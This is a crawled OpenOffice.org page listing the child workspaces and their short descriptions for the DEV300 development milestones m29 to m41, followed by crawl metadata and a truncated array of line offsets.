DEV300m41
metropatch01_DEV300
DEV300m41
rt37
Build fixes for OOo 3.1
DEV300m41
appleremote02
This cws aims to improve appleremote01replacing
the use of keycodes with the constants introduced in cmdevt.hxx
DEV300m40
aw061
BugFixing CWS fuer 3.1
DEV300m40
cloph12
minor changes to makefiles (to cleanup & reduce false errors in buildlogs)
DEV300m40
configuretoplevel
move configure etc. to toplevel and other configure related fixes
DEV300m40
dev300m40masterfix
DEV300m40
fixgengal_DEV300
fix gengal for the 3-layer OOo
DEV300m40
fwk95
Framework fixes for OOo 3.1
DEV300m40
hb15
Crashes/Loops
DEV300m40
hro41_DEV300
Make the shell script the entry point every unix platform except MacOsX
DEV300m40
jl111
3.1 fixes
DEV300m40
kohei02
General calc fixes.
DEV300m40
m14scriptfix_DEV300
Fixes for oversights during code review of iniinfo.inc.
This is a fix with low risk but should be done because the code behind it does not make sense otherwise.
Second attempt on getting the test extensions for minor minimal required office versions into CVS as
binary files.
DEV300m40
mingwport16
mingw port catchup and enhance
DEV300m40
native214
OOo 3.1 installation tasks.
DEV300m40
native217_DEV300
OOo 3.0.1 / SO 9.0.1 installation tasks.
DEV300m40
obo35_DEV300
Fix for i97011
DEV300m40
ooo301gsl4_DEV300
fix issue 97710
DEV300m40
os124
Bugfixing OOo 3.1
DEV300m40
rtlchart03
RTL Issues in Charts
DEV300m40
selinux01
As per http://people.redhat.com/drepper/selinux-mem.html
"The program maps a file with MAP_PRIVATE and both PROT_WRITE and PROT_EXEC
If the program really needs this behavior there is no really easy way out. Onepossibility is to create
an anonymous file (just unlink it after creation), size the file using ftrunctate, and then map the
file in two places. In one place map it with MAP_SHARED and write permission but without execution.
For the second mapping use execution permissions but no write permissions. This might be a bit confusing
at first but can be handled. The program must be adjusted to write to one location and expect to execute
code in another one. This is reasonably safe in case the two mappings are allowed to be randomied."
DEV300m40
sjfixes10
OOo 3.1 bugfix workspace
DEV300m40
sw31bf03
bug fixes in Writer for OOo 3.1
DEV300m40
tl64_DEV300
Late grammarcheck fixes.
DEV300m40
aw059
UI and InterAction (IA) changes for DrawingLayer for 3.1
DEV300m39
dev300m39masterfix
DEV300m39
dv05
Bugfixes for online update / extension manager
DEV300m39
frmdlg
Extract of the formula editor from calc into a new module formula.
DEV300m39
fwk98
Bugfixes for 3.1
DEV300m39
hr58
Changes needed for compiling OpenOffice.org with SunStudio12 on Solaris 10.
DEV300m39
iconupdate310
Icon-Bugfixes for OOo 3.1
DEV300m39
impress147
Misc Impress improvements
DEV300m39
kashidafix
Fixes various Arabic related issues.
DEV300m39
libmsword
Separate the doc and rtf import/export filters out of the (large) libsw;
this way we save compilation time when doing changes in the
filters to allow further refactoring, and also we save memory during
runtime in case OOo operates only on ODF.
DEV300m39
locales31
New locales and locale data for OOo3.1
DEV300m39
macmenusquit
This cws aims to remove the useless Quit, About and Options entries in the menus,
on Mac OS X Aqua only
DEV300m39
mav43
New file locking implementation.
DEV300m39
menuchanges
some main menu changes to improve uniformity
DEV300m39
mozbootstrapfix
fix mozbootstrap
DEV300m39
native216
Adding new bundled extension to OOo 3.1
DEV300m39
notes7
writer notes implementation and fixes for 3.1
DEV300m39
odff05
Implementation of new spreadsheet functions and behavior for ODFF compliance.
DEV300m39
ooxml02
Implementation of Open Packaging Convention (OPC) export,
speed/memory win from splitting non-ODF Calc filters into a separate library,
and first cut at .xlsx export (disabled).
DEV300m39
os123
Bugfixing OOo 3.1
DEV300m39
os126
Remove German resources related to grammar checking
DEV300m39
outlinelevel
Introduce a new paragraph and paragraph style attribute, named “outline level”, to transform a normal paragraph directly and independently from any certain list style or paragraph style into a heading.
DEV300m39
overline3
Implementation of overline
DEV300m39
qadev37
transform cwstouched from python to perl; small bug fixes.
DEV300m39
rt36
Fix for writer2latex extension plus minor build related tasks.
DEV300m39
sb102
misc fixes
DEV300m39
vcl97
assorted 3.1 fixes
DEV300m39
ab65
Support full text search in extension help
DEV300m38
alf01
DEV300m38
betterautoifacedoc
change to autodoc to display old-style services more clearly
DEV300m38
c24v001_DEV300
DEV300m38
calc47
General Calc implementation and fixes for OOo3.1
DEV300m38
canvas06
More work on canvas
DEV300m38
cmcfixes51
Remove low-hanging new gcc warnings
DEV300m38
configitems02_svn
Replace removed CWS configitems01.
Some configuration access points was changed internaly
to make it compatible with extensions stuff.
The following areas has to be tested:
- recent file list
- help bookmarks
- tools->options->user settings
- tools->options->accessibility settings
- print options
DEV300m38
cwscheckapi5_DEV300
update knownissues lists in some qa/unoapi
DEV300m38
cwscheckapi6
bugfix in solenv/bin/cwstouched.py
This is needed by cwscheckpai
DEV300m38
dba301b_DEV300
last minute DBA bug fixing for 3.1
DEV300m38
dba31d
bugs
DEV300m38
dba31f
Further bugfixing
DEV300m38
dev300m38masterfix
DEV300m38
fha3fixes
DEV300m38
fwk92
Framework fixes for OOo3.1
DEV300m38
gcc44
gcc 4.4 fixes
DEV300m38
hb12
DEV300m38
hr57
Misc. fixes to CWS tools.
DEV300m38
hrovista3_DEV300
Fixes for Vista File Dialogs in OOo 3.01
DEV300m38
i96529_DEV300
Fix address reference regression i96529.
DEV300m38
impressfontsize
implement font grow and shrink toolbar buttons in impress
DEV300m38
jsc312
DEV300m38
jw5
Tweaking ports configurations to build with OpenJDK
DEV300m38
macrestart2_DEV300
Remove soffice loader and force soffice binary to fork itself for restarting after a crash
DEV300m38
mav45_DEV300
Fix for a problem with basic script loss in case of network outage.
DEV300m38
mooxlsc
Make the Calc formula compiler support some extra bits in the MOOXML Excel import.
DEV300m38
native209_DEV300
OOo 3.0.1 installation tasks
DEV300m38
native210_DEV300
ooo 3.0.1 installation tasks
DEV300m38
native211_DEV300
Updating JRE version and keeping possibility of MinorUpgrade
for product OOo with JRE
DEV300m38
odfp30_DEV300
DEV300m38
ooo301gsl2_DEV300
More urgent GSL fixes for OOo301
DEV300m38
ooo301gsl3_DEV300
Fix some issues with respect to grammar checking (see also CWS tl56)
DEV300m38
os121
Bugfixing OOo 3.1
DEV300m38
os2port04
CWS for tracking the build of DEV300 under OS/2
and eComStation.
DEV300m38
qadev34t_DEV300
Remove all cppunit sources, insert a tarball and patch.
DEV300m38
qascripts04
Catch-all CWS for QA Automation Issues that are not directly related to any other CWS (such as performance tuning, known issues etc.)
DEV300m38
rt35
Fix for deliver (avoid collision when zipping), minor cleanup
DEV300m38
rtlchart02
Axis Positioning in Charts
DEV300m38
rtlcontrols
RTL Controls
DEV300m38
sb101
PyUNO regressions
DEV300m38
sjfixes11_DEV300
DEV300m38
sjfixes12_DEV300
OOo 3.01 bugfix workspace
DEV300m38
sw301bf04_DEV300
late fixes in Writer for OOo 3.0.1
DEV300m38
sw301bf05_DEV300
writer bugfixes for ooo 3.0.1
DEV300m38
swffixes02_DEV300
Build-fix for system-mozilla and 64bit fixes after swffixes got embedding mozilla plugins working again
DEV300m38
sysui28_DEV300
Update Hungarian dictionaries
DEV300m38
sysui36
sysui 3.1 task
DEV300m38
tl56_DEV300
Ongoing implementation of grammar checking framework.
DEV300m38
writer2latexexternal
make writer2latex be built as an (external) extension, because that's what it is.
DEV300m38
mav42_DEV300
3.0.1 showstopper issue.
DEV300m37
ooo301gsl1_DEV300
GSL issues for OOo 3.0.1
DEV300m37
so9nevada_DEV300
Integrate SO9 in Nevada
DEV300m37
sw301bf03_DEV300
Writer (regression) fixes for SO9.0.1/OOo3.0.1
DEV300m37
httpperf_DEV300
Fix unneeded HTTP requests during product online update notification process.
DEV300m37
dev300m37masterfix
DEV300m37
qascripts03
[Automation]
- Evaluate time gain when speeding up menu-functions
- Misc testscript fixes
DEV300m37
cairosource01
Support for building Cairo sources in OpenOffice.org
Supported on Windows, MingW, Linux, Solaris and Mac OS X
NOTE: There are no changes to the default build.
DEV300m37
jl105
3.1 fixes
DEV300m37
koheidatapilot02
General bug fixes for Calc's DataPilot.
DEV300m37
sqlsyntaxhighlighting
SQL syntax highlighting for base
DEV300m37
vcl96
Fix gsl tasks for 3.1
DEV300m37
dba31e
Further dba issue fixing
DEV300m37
socs21
DEV300m37
accelerators01svn
move accelerators configuration from "internal XML" to public XCS/XCU based
format so it can be used by extensions also
DEV300m37
qadev34
enhancements and bugfixes for qadevOOo
DEV300m37
tbo03
trivial testscript fixes in framework/global/math
DEV300m37
hcshared19
Help CWS for 3.1
DEV300m37
rtlchart01
bi-directional writing for charts
DEV300m37
ab64_DEV300
3.0.1 fixes
DEV300m36
aw058
BugFixing CWS for DEV300
DEV300m36
buildid301_DEV300
CWS for issue i94693.
DEV300m36
calc46_DEV300
OOo 3.0.1 Calc bug fixes
DEV300m36
cli004
OOo build fixes.
DEV300m36
cmcfixes50
Misc fixes for warnings seen with new gcc.
Primarily change DBG_ASSERT macro to require trailing ";" like the vast
majority of use-cases already assume it requires.
DEV300m36
consolar01
Removes obsolet switches and parameter from the solenv/config/dev300.ini file.
DEV300m36
dba301a_DEV300
Bugfixes for 3.0.1
DEV300m36
dev300m36masterfix
DEV300m36
dv06_DEV300
Extension manager should use version info from basis layer
DEV300m36
extmgrui06
Bugfixes for extension manager
DEV300m36
fix30autorecovery_DEV300
fix issue 92968 (autorecovery does not recover the previously
auto-saved document version, but the last one which was
regularly saved)
DEV300m36
fwk94_DEV300
Framework fixes for OOo3.0.1
DEV300m36
hb11
DEV300m36
hr56
CWS-Tooling: add 'common' and 'common.pro' as platforms to be fetched; implement 'cws cdiff'; bug fixes
DEV300m36
i18n48_DEV300
DEV300m36
iconupdate301
Bugfixes for the Galaxy Icon Set.
DEV300m36
impress163_DEV300
impress fixes for OOo 3.0.1
DEV300m36
jl114_DEV300
CLI UNO Fixes
DEV300m36
native206_DEV300
DEV300m36
native207_DEV300
OOo 3.0.1 installation tasks
DEV300m36
obo37_DEV300
Fix for i95313
DEV300m36
onlineupdate7_DEV300
Allow OpenOffice.org 3.0.1 to recognize itself as 3.0.1 instead of 3.0.0
DEV300m36
oooimprovementcorefixes_DEV300
The OpenOffice.org Usage Feedback Extension is an extension that collects anonymously data
about how OpenOffice.org is used. This information is used to better understand
how people use OpenOffice.org. Especially with regards to the user interface.
http://wiki.services.openoffice.org/wiki/User_Experience/OpenOffice.org_User_Feedback_Extension
This cws only contains fixes to the core in OpenOffice itself, not the extension.
DEV300m36
os122_DEV300
bugfixing OOo 3.0.1
DEV300m36
qascripts02
All automated tests currently load the UI filters which creates some overhead.
Do not load the filter names during test initialization but only on an as needed basis.
This CWS has impact on all TestAutomation modules.
DEV300m36
rt34
Misc. build related fixes. No influence on Office application.
DEV300m36
sw301bf02_DEV300
fixes in Writer for OOo 3.0.1
DEV300m36
swffixes_DEV300
Make SWF plugin work again on various platforms
DEV300m36
sysui27_DEV300
Fix a trivial sysui solaris issue
DEV300m36
tbo301_DEV300
Important changes for update notification behaviour and recognition of patched version number.
DEV300m36
wae4extensions02
make extensions warning-free on Windows, again
DEV300m36
appleremote01
First part of Apple Remote implementation
DEV300m35
basebmpunittestfix
Fixes/Adds compiler flags that prevent the basebmp unit tests from failing on
Solaris SPARC platforms with SunStudio 12 compiler.
DEV300m35
bmpsum1
DEV300m35
cli002
Various patches to remove -Werror warnings with gcc 4.2.3 compilers.
DEV300m35
cli003
Removes obsolete .cvsignore files.
DEV300m35
dev300m35masterfix
DEV300m35
hr55
CWS-Tools: fixes to 'cws rebase'.
DEV300m35
i18n42
upgrade icu to 4.0.
DEV300m35
impresszoom
adding the zoom slide control to impress/draw status bar
DEV300m35
native201_DEV300
OOo 3.0.1 installation tasks.
DEV300m35
os120
Bugfixing OOo 3.1
DEV300m35
pflin10
Fix some issues about basic runtime function.
DEV300m35
qadocinfo
Exclude Document Properties TabPage "Custom Properties" from automated testing
Other low risk fixes
DEV300m35
sb97
missing .dll.manifest files for some external modules (wntmsci12 only)
DEV300m35
sb99
configmgr
DEV300m35
svnignoreoutpaths
add the common output paths (unxlngi6/.pro, wntmsci12/.pro,
common/.pro, etc.) to the svn:ignore property of all top-level
directories in the SVN repository.
DEV300m35
vcl95
more gsl stuff for 3.1
DEV300m35
ause098
build fixes
DEV300m34
aw057
BugFixing after aw033
DEV300m34
cli001
Removes corrupt xcf.bz2 files. These files have been checked-in without
binary flag years ago and now cause the OpenGrok indexer to stuck
forever.
DEV300m34
cmcfixes49
minor build fixes, primarily to remove gcc 3.4.1 warnings
DEV300m34
dev300m34masterfix
DEV300m34
greenstate30_DEV300
Autotestfixes to get green state for OOo3.0
DEV300m34
hr54
Implement "cws fetch" command.
DEV300m34
jsktestimprovements1
Continue rework of the global file-I/O and filter functions within the testautomation module
This CWS is used for evaluation purposes as well (default filter handling)
Provide replacements for automated tests that had to be removed due to last minute changes in the product
DEV300m34
mba30fixes02
Done automation, the test results are as expected - a lot of errors and warnlogs which are present on the MWS as well.
Done issue verification.
The CWS still needs to be set to RfQA so i can nominate it.
DEV300m34
native197_DEV300
Patch Preparations
DEV300m34
odbmacros3
ongoing implementations to allow macros in database documents
DEV300m34
rt32
Hamburg RE tasks around finishing a milestone build
DEV300m34
rt33
Fix for #139524# (build prerequisites fo HH environment)
DEV300m34
svnl10nmerge
DEV300m34
unowinregfix_DEV300
used to fix unowinreg.dll problem with an implicitly but not necessary depdendency to
a new C++ runtime -> via manifest entry ...
DEV300m34
ab63_DEV300
Fix shopstopper issue i92940
DEV300m33
addentitlement_DEV300
DEV300m33
chart30
Chart issues for OOo 3.1
DEV300m33
cloph11
remove antiquated macosx build-defines
DEV300m33
dba31b
DEV300m33
dev300m33masterfix
DEV300m33
docmacroassignments_DEV300
fix the problem that in various places, browsing for a macro/script
to assign to a document element does not list the
macros/scripts of the document itself (issue 94280).
DEV300m33
dr63
Calc 3.1 fixes
DEV300m33
fpicker8
Fixes for the gtk file picker for transient windows
DEV300m33
hr53
Fixes to CWS tooling regarding the switch to SVN.
DEV300m33
hro38_DEV300
Preset filename in Vista File Dialog
DEV300m33
i18n45
i18n bug fixes.
DEV300m33
i93386_DEV300
Improve the behaviour on systems with older libfontconfig (older means <2.4)
DEV300m33
i93512_DEV300
Prevent a deadlock on the OSX Aqua port
DEV300m33
i93555_DEV300
Fix issue 93555 to display some "Arabic" instead of "Unknown" for an 'ar' Arabic language pack.
DEV300m33
impress149
OOo 3.1 Bugfix workspace
DEV300m33
impress157_DEV300
fix in the pdfimport extension to enable it to load hybrid pdf in OOO300m4 and newer. This cws only changes the pdf extension and not the office. The fixed extension will also work in prior versions.
DEV300m33
impress158_DEV300
OOo 3.0 bugfix workspace
DEV300m33
impress159_DEV300
possible showstopper for impress
DEV300m33
impress160_DEV300
showstopper fix for impress
DEV300m33
indentfix_DEV300
cws for i93873
DEV300m33
jl112_DEV300
showstopper
DEV300m33
jsc311
DEV300m33
koheicoderemoval
removal of unused methods from sc module.
DEV300m33
localization32_DEV300
L10N showstoppers
DEV300m33
localization33_DEV300
Missing Spanish hc2 index files
DEV300m33
localization34_DEV300
fix one greek string in officecfg
DEV300m33
mav39_DEV300
3.0 show stopper fix for activated embedded objects in writer.
DEV300m33
mav40_DEV300
Showstopper fix for autosave problem.
DEV300m33
mingwport15
MinGW port catchup fix
DEV300m33
native194
Preparing OOo 3.1 / SO 9.1
DEV300m33
native195_DEV300
userland rpm into subdir in Linux installation sets with Java GUI Installer.
DEV300m33
native196_DEV300
OOo 3.0 installation tasks
DEV300m33
native199_DEV300
Mac fix for English system language.
DEV300m33
native200_DEV300
OOo 3.0 installation tasks, only mac changes
DEV300m33
os117
Bugfixing OOo 3.1
DEV300m33
qadev33
bugfixes and enhancements in qadevOOo
DEV300m33
qaerrorlogfixes1_DEV300
[Automation]
DEV300m33
rt31_DEV300
Hamburg RE process related only:
fix for getting product update information into database
DEV300m33
sb93
misc fixes
DEV300m33
sb96_DEV300
msvcr71.dll missing under Windows MSVC 2003
DEV300m33
sb98_DEV300
libxml2.dll from Windows system dir vs. OOo URE layer (Windows only)
DEV300m33
sfxnotifyremoval
Removal of SFX_NOTIFY preprocessor macro and all of its references.
DEV300m33
sjfixes06_DEV300
DEV300m33
sjfixes09_DEV300
DEV300m33
sw30bf15_DEV300
fix for issue i93725 in Writer and for issue i90961 in desktop
DEV300m33
swlists02
import text:numbered-paragraph
DEV300m33
sysui31_DEV300
sysui cleanup
DEV300m33
sysui32_DEV300
sysui OOo build fix for solaris
DEV300m33
tkr15
DEV300m33
tl62_DEV300
Fix for a grammar checker related crash.
DEV300m33
vcl92
3.1 issues
DEV300m33
vcl94
GSL stuff for OOo3.1
DEV300m33
hr43
DEV300m32
ab58_DEV300
cws to fix showstopper i92555
(JavaScript / BeanShell organizers broken)
DEV300m31
ab60_DEV300
cws to fix showstopper i92867
(Basic libraries in extensions disappear)
DEV300m31
ab62_DEV300
cws to fix showstopper i93163
DEV300m31
c17v004_DEV300
DEV300m31
chart31_DEV300
chart&calc 3.0 showstopper
DEV300m31
cwsqueryenhance3
change cwsquery to always
print values on stdout and messages on stderr #i89842#
introduce new SOAP interface to query for new modules
DEV300m31
dba30i_DEV300
Fix in report designer
DEV300m31
dba30j_DEV300
3.0 show stoppers in DBA an elsewhere ...
DEV300m31
dbadoccloselock
fix a deadlock in Base which (currently) is triggered by the new
confwatch implementation only
DEV300m31
dev300m31masterfix
DEV300m31
fwk96_DEV300
Framework fixes for OOo3.0 showstoppers.
DEV300m31
fwk97_DEV300
framework ooo 3.0 bugfix cws
DEV300m31
greenstate30ver2_DEV300
[Automation] - showstopperfixes for the Greenstate of 3.0
DEV300m31
greenstate30ver3_DEV300
DEV300m31
hb10
Fixes/Patches for 3.1
DEV300m31
hotmac_DEV300
rtl_memory_fini gets called to early, before the d'tors of C++ objects ..
DEV300m31
impress153_DEV300
Show stopper bug fixes for OOo 3.0
DEV300m31
impress154_DEV300
Show stopper bug fixes for OOo 3.0
DEV300m31
impress155_DEV300
Bug fixes for OOo 3.0
DEV300m31
jl110_DEV300
3.0 issues
DEV300m31
kendy21
Support for MSVC 2005 Standard and MSVC 2008 Express in oowintool. Improved handling of Cygwin's PATH (in a pathological, but working, case).
DEV300m31
localisation31_DEV300
Fixed broken hungarian translation , fixed several hc2 issue in various languages
DEV300m31
macrestart_DEV300
Force soffice process to automatically restart after a crash occured.
DEV300m31
mav37_DEV300
Showstopper cws for OOo3.0
DEV300m31
mav38_DEV300
Showstopper fix for the database documents opening problem.
DEV300m31
mh30f_DEV300
last minutes todos
DEV300m31
native184_DEV300
OO0 3.0 installation tasks
DEV300m31
native185_DEV300
Enable installation with Java GUI Installer and user privileges again.
Resolve dependency problem.
DEV300m31
native186_DEV300
OOo 3.0 installation tasks
DEV300m31
native188_DEV300
OOo 3.0 update tasks.
DEV300m31
native189_DEV300
OOo 3.0 installation tasks. This issue is about the parallel installation of StarOffice and StarSuite.
Some reviews of the package dependencies and un/install sequence.
DEV300m31
native190_DEV300
Additional Windows Patch preparations
DEV300m31
native191_DEV300
OOo 3.0 installation tasks
DEV300m31
native193_DEV300
OOo 3.0 installation tasks.
DEV300m31
obo33
Keep build for 64 bit Vista shell extension alive
DEV300m31
obo34
Fix for i93167
DEV300m31
oobeanfix_DEV300
DEV300m31
sb91
Solaris SPARC 64 bit port
DEV300m31
sb95_DEV300
fix CWS macrestart
DEV300m31
sw30bf13_DEV300
late fixes in Writer for OOo 3.0
DEV300m31
swenhancedfields2
Enhanced fields for better interoperability
DEV300m31
sysui30_DEV300
Linux / Solaris system integration issues
DEV300m31
tl61
OOo 3.0 fixes.
DEV300m31
vcl30stop5_DEV300
fix issue 92674
DEV300m31
vcl93
GSL related stuff important enough for OOo3.0
DEV300m31
aw033
CWS for GraphicPrimitives
DEV300m30
gh15
testtool bugs and features 2008
DEV300m30
xsltfilter10
Exchanging the binary JARS of Xerces/Xalan couple (xalan.jar/xercesImpl.jar/xml-apis.jar/serializer.jar)
with a source module providing the XSLT2 capable saxon9.
Furthermore provide latest ODF2XHTML xslt filter patch as relevant for Saxon.
DEV300m30
maccrashrep
Enable crash reporting for MacOSX builds
DEV300m30
hrovista2
Critical OOo 3.0 fixes for Windows Vista and Windows XP
DEV300m30
rmfreetype
Remove the private copy of libfreetype.so.6
DEV300m30
dba31a
Ongong bug fixing for OOo 3.1
DEV300m30
mh30b
various issue towards 3.0
DEV300m30
doccomments01
Extend import and export notes (ala postits/comments) to .doc format to support
formatting newly available in 3.0
DEV300m30
register30
Update the way of registering OOo
DEV300m30
userdatamigration
Migrate userdata
DEV300m30
autotestfixfha1
DEV300m30
i18n44
i18n bug fixes
DEV300m30
helpsearch
hotfix for Japanese help index search i91750
DEV300m30
ocautotestfixes01
Autotestfixes for the spreadsheet module
DEV300m30
dictionaryupdate
update of some dictionaries to latest versions
DEV300m30
os119
Fix of issue i91896
DEV300m30
vcl30stop1
gsl showstopper
DEV300m30
sw30bf10
late fixes in Writer for OOo 3.0
DEV300m30
native177
Removing ICE check errors in msi database.
DEV300m30
extrasooo30
unification CWS for SO/OOo extras
DEV300m30
dr65
Latest OOo 3.0 fixes
DEV300m30
pdf25
DEV300m30
vcl30stop2
last minute fixes for 3.0
DEV300m30
cmcfixes48
Uncontroversial fixes and improvements, generally in the vicinity of xmlsignature code
DEV300m30
mhu19
sal/rtl/source/alloc_global.c is not 64bit clean.
DEV300m30
tbo02
Fix typos in include files of testautomation/framework
Fix changed behaviour for global test on MacOS X
DEV300m30
native178
OOo 3.0 installation tasks
DEV300m30
sw30bf11
fixes for OOo 3.0 in Writer
DEV300m30
ab56
Split library container config files script.xlc, dialog.xlc
into user and share files.
DEV300m30
mav35
OOo3.0 showstopper cws.
DEV300m30
aquaupdateicon
Implement update icon in native menubar on Mac
DEV300m30
impress151
impress showstopper fixes for OOo 3.0
DEV300m30
native179
OOo 3.0 installation tasks
DEV300m30
dev300m30masterfix
DEV300m30
languageswitchfix
Prevent superfluous language changes caused by the system keyboard
DEV300m30
vcl30stop3
Some more 3.0 showstoppers
DEV300m30
native180
Preparing OOo 3 for Windows patches using msp technique.
DEV300m30
pflin11
basic fix
DEV300m30
tl58
DEV300m30
hsqldb1810
Integrate hsqldb version 1.8.0.10
DEV300m30
dba30h_DEV300
fix issue 92668
DEV300m30
cwscheckapi3_DEV300
bugfix for cwscheckapi: since on Linux tgz are default for cws cwscheckapi could not install the office nymore
DEV300m30
sw30bf12_DEV300
Galician spell checker added and Ichitaro filters removed
DEV300m30
localisation30_DEV300
L10N showstopers
DEV300m30
vcl30stop4_DEV300
GSL related showstoppers for OOo 3.0
DEV300m30
native182_DEV300
OOo 3.0 / SO 9 installation tasks
DEV300m30
impress152_DEV300
showstopper fixes for impress in OOo 3.0
DEV300m30
dev300m29masterfix
DEV300m29
ause091
build cleaner - cleaner build
DEV300m29
chart22
Plotting of missing values
DEV300m29
doccustomproperties2
New document properties page: custom properties page replaces user defined page
DEV300m29
impress150
Impress showstopper fixes for OOo 3.0 release
DEV300m29
layoutdialogs
* Enable compiling of layout engine by default.
* Old .src dialogs initially replaced by .xml layout dialogs:
svx/source/dialog/zoom.src,
sw/source/ui/dialog/wordcountdialog.src
[WIP: svx/source/dialog/docrecovery.src]
* Note: i18n translation strings, compile-time translation and testing
can be found in toolkit/workben/layout.
See also toolkit/doc/layout/README
* Note: the layout engine is still a work in progress, not all widgets
have been implemented yet.
DEV300m29
pb20
Truncated strings issues
DEV300m29
pba11y02
Fixes for A11y issues.
DEV300m29
sb92
HelpLinker crash on Solaris
DEV300m29
vcl91
3.0 showstoppers in gsl
DEV300m29
Apache Feather
Copyright & License | Privacy | Website Feedback | Contact Us | Donate | Thanks
Apache and the Apache feather logo are trademarks of The Apache Software Foundation. OpenOffice, OpenOffice.org and the seagull logo are registered trademarks of The Apache Software Foundation. Other names appearing on the site may be trademarks of their respective owners.
|
{
"url": "http://www.openoffice.org/development/releases/DEV300_m41_snapshot.html",
"source_domain": "www.openoffice.org",
"snapshot_id": "crawl=CC-MAIN-2016-22",
"warc_metadata": {
"Content-Length": "239305",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FIHVLHXFP26CMUZY5R66VTZ556V3ESOJ",
"WARC-Concurrent-To": "<urn:uuid:9cc75c1c-fb2b-4cbc-939d-0be7c66cb915>",
"WARC-Date": "2016-05-30T06:48:51Z",
"WARC-IP-Address": "88.198.26.2",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:CDVOISGRMWWAJ3HVDL55GLMLARPLYCLF",
"WARC-Record-ID": "<urn:uuid:124a2713-f75c-4f4c-9607-d4c5f3480c13>",
"WARC-Target-URI": "http://www.openoffice.org/development/releases/DEV300_m41_snapshot.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8e647aa0-af85-460e-8b55-67873d511934>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-217-139.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-22\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for May 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
9,
10,
47,
80,
81,
114,
115,
116,
334,
482,
534,
535,
551,
552,
671,
770,
809,
810,
823,
824,
904,
995,
1075,
1138,
1357,
1382,
1447,
1668,
1693,
1759,
1980,
2005,
2064,
2397,
2422,
2475,
2748,
2773,
2824,
2955,
2980,
3057,
3290,
3315,
3371,
3460,
3485,
3713,
4147,
4209,
4938,
4963,
5045,
5219,
5244,
5331,
5522,
5547,
5623,
6008,
6033,
6079,
6119,
6544,
7007,
7670,
7784,
7828,
8223,
8276,
8323,
8367,
8727,
8751,
8795,
9155,
9179,
9248,
9680,
9703,
9756,
9813,
9837,
9895,
10543,
10566,
10609,
10969,
10993,
11027,
11028,
11061,
11115,
11221,
11245,
11473,
11540,
11666,
11690,
11769,
12336,
12359,
12439,
13560,
13583,
13633,
14033,
14056,
14130,
15671,
15694,
15770,
16331,
16354,
16412,
16832,
16855,
16923,
17380,
17403,
17450,
18166,
18518,
18811,
18841,
18842,
18886,
19309,
19655,
19682,
19683,
19727,
19786,
19862,
19882,
19898,
19950,
19951,
19995,
20039,
20040,
20088,
20174,
20499,
20574,
20654,
20751,
20831,
21088,
21164,
21972,
22001,
22063,
22685,
22710,
22773,
22834,
22982,
23007,
23106,
23327,
23356,
23419,
24826,
24855,
24990,
25472,
25501,
25569,
27794,
27823,
27901,
28745,
28774,
28849,
29051,
29080,
29160,
29962,
29969,
29970,
29998,
29999,
30000,
30037,
30038,
30049,
30050,
30079,
30080,
30090,
30103,
30104,
30155,
30156,
30166,
30175,
30176,
30186,
30205,
30206,
30216,
30236,
30237,
30247,
30252,
30253,
30277,
30278,
30288,
30289,
30290,
30304,
30352,
30416,
30426,
30432,
30433,
30456,
30457,
30467,
30475,
30476,
30551,
30552,
30562,
30580,
30581,
30647,
30648,
30658,
30677,
30678,
30688,
30705,
30706,
30737,
30738,
30748,
30754,
30755,
30783,
30784,
30794,
30799,
30800,
30814,
30815,
30825,
30838,
30839,
30911,
30912,
30922,
30928,
30929,
30939,
30940,
30950,
30958,
30959,
30979,
30980,
30990,
31010,
31066,
31171,
31272,
31286,
31296,
31308,
31309,
31340,
31341,
31351,
31361,
31362,
31390,
31391,
31401,
31418,
31419,
31460,
31461,
31471,
31484,
31485,
31500,
31501,
31511,
31529,
31530,
31546,
31547,
31557,
31563,
31564,
31582,
31583,
31593,
31604,
31605,
31626,
31627,
31637,
31647,
31705,
31706,
31782,
31783,
31886,
31986,
32086,
32191,
32296,
32396,
32406,
32416,
32417,
32442,
32443,
32453,
32462,
32463,
32495,
32496,
32506,
32518,
32519,
32544,
32545,
32555,
32556,
32557,
32563,
32564,
32621,
32622,
32632,
32651,
32652,
32662,
32667,
32668,
32715,
32716,
32726,
32733,
32734,
32801,
32802,
32812,
32818,
32819,
32836,
32837,
32847,
32852,
32853,
32929,
32930,
32940,
32954,
32955,
32981,
32982,
32992,
33003,
33004,
33030,
33031,
33041,
33052,
33053,
33090,
33091,
33101,
33111,
33185,
33245,
33314,
33356,
33366,
33376,
33377,
33416,
33417,
33427,
33440,
33522,
33544,
33554,
33560,
33561,
33594,
33595,
33605,
33617,
33618,
33663,
33664,
33674,
33690,
33691,
33708,
33709,
33719,
33729,
33730,
33770,
33771,
33781,
33788,
33789,
33835,
33836,
33846,
33853,
33854,
33932,
33933,
33943,
33951,
34010,
34088,
34130,
34140,
34146,
34147,
34165,
34166,
34176,
34182,
34183,
34235,
34236,
34246,
34259,
34260,
34462,
34463,
34473,
34483,
34484,
34511,
34512,
34522,
34530,
34531,
34590,
34591,
34601,
34606,
34607,
34670,
34671,
34681,
34687,
34688,
34699,
34700,
34710,
34716,
34717,
34736,
34737,
34747,
34752,
34753,
34796,
34797,
34807,
34813,
34814,
34824,
34843,
34844,
34905,
34906,
34916,
34931,
34932,
34942,
34949,
34950,
34999,
35000,
35010,
35019,
35020,
35040,
35041,
35051,
35062,
35063,
35099,
35100,
35110,
35128,
35163,
35218,
35263,
35301,
35320,
35337,
35369,
35410,
35426,
35436,
35456,
35457,
35500,
35501,
35511,
35524,
35559,
35589,
35599,
35614,
35615,
35650,
35651,
35661,
35668,
35669,
35674,
35675,
35685,
35692,
35693,
35711,
35712,
35722,
35741,
35742,
35752,
35762,
35763,
35773,
35779,
35780,
35807,
35808,
35818,
35824,
35825,
35839,
35840,
35850,
35855,
35856,
35866,
35871,
35872,
35898,
35899,
35909,
35926,
35927,
35968,
35969,
35979,
35993,
35994,
36035,
36036,
36046,
36062,
36063,
36121,
36122,
36132,
36139,
36140,
36150,
36154,
36155,
36207,
36208,
36218,
36237,
36238,
36329,
36330,
36340,
36353,
36354,
36422,
36423,
36433,
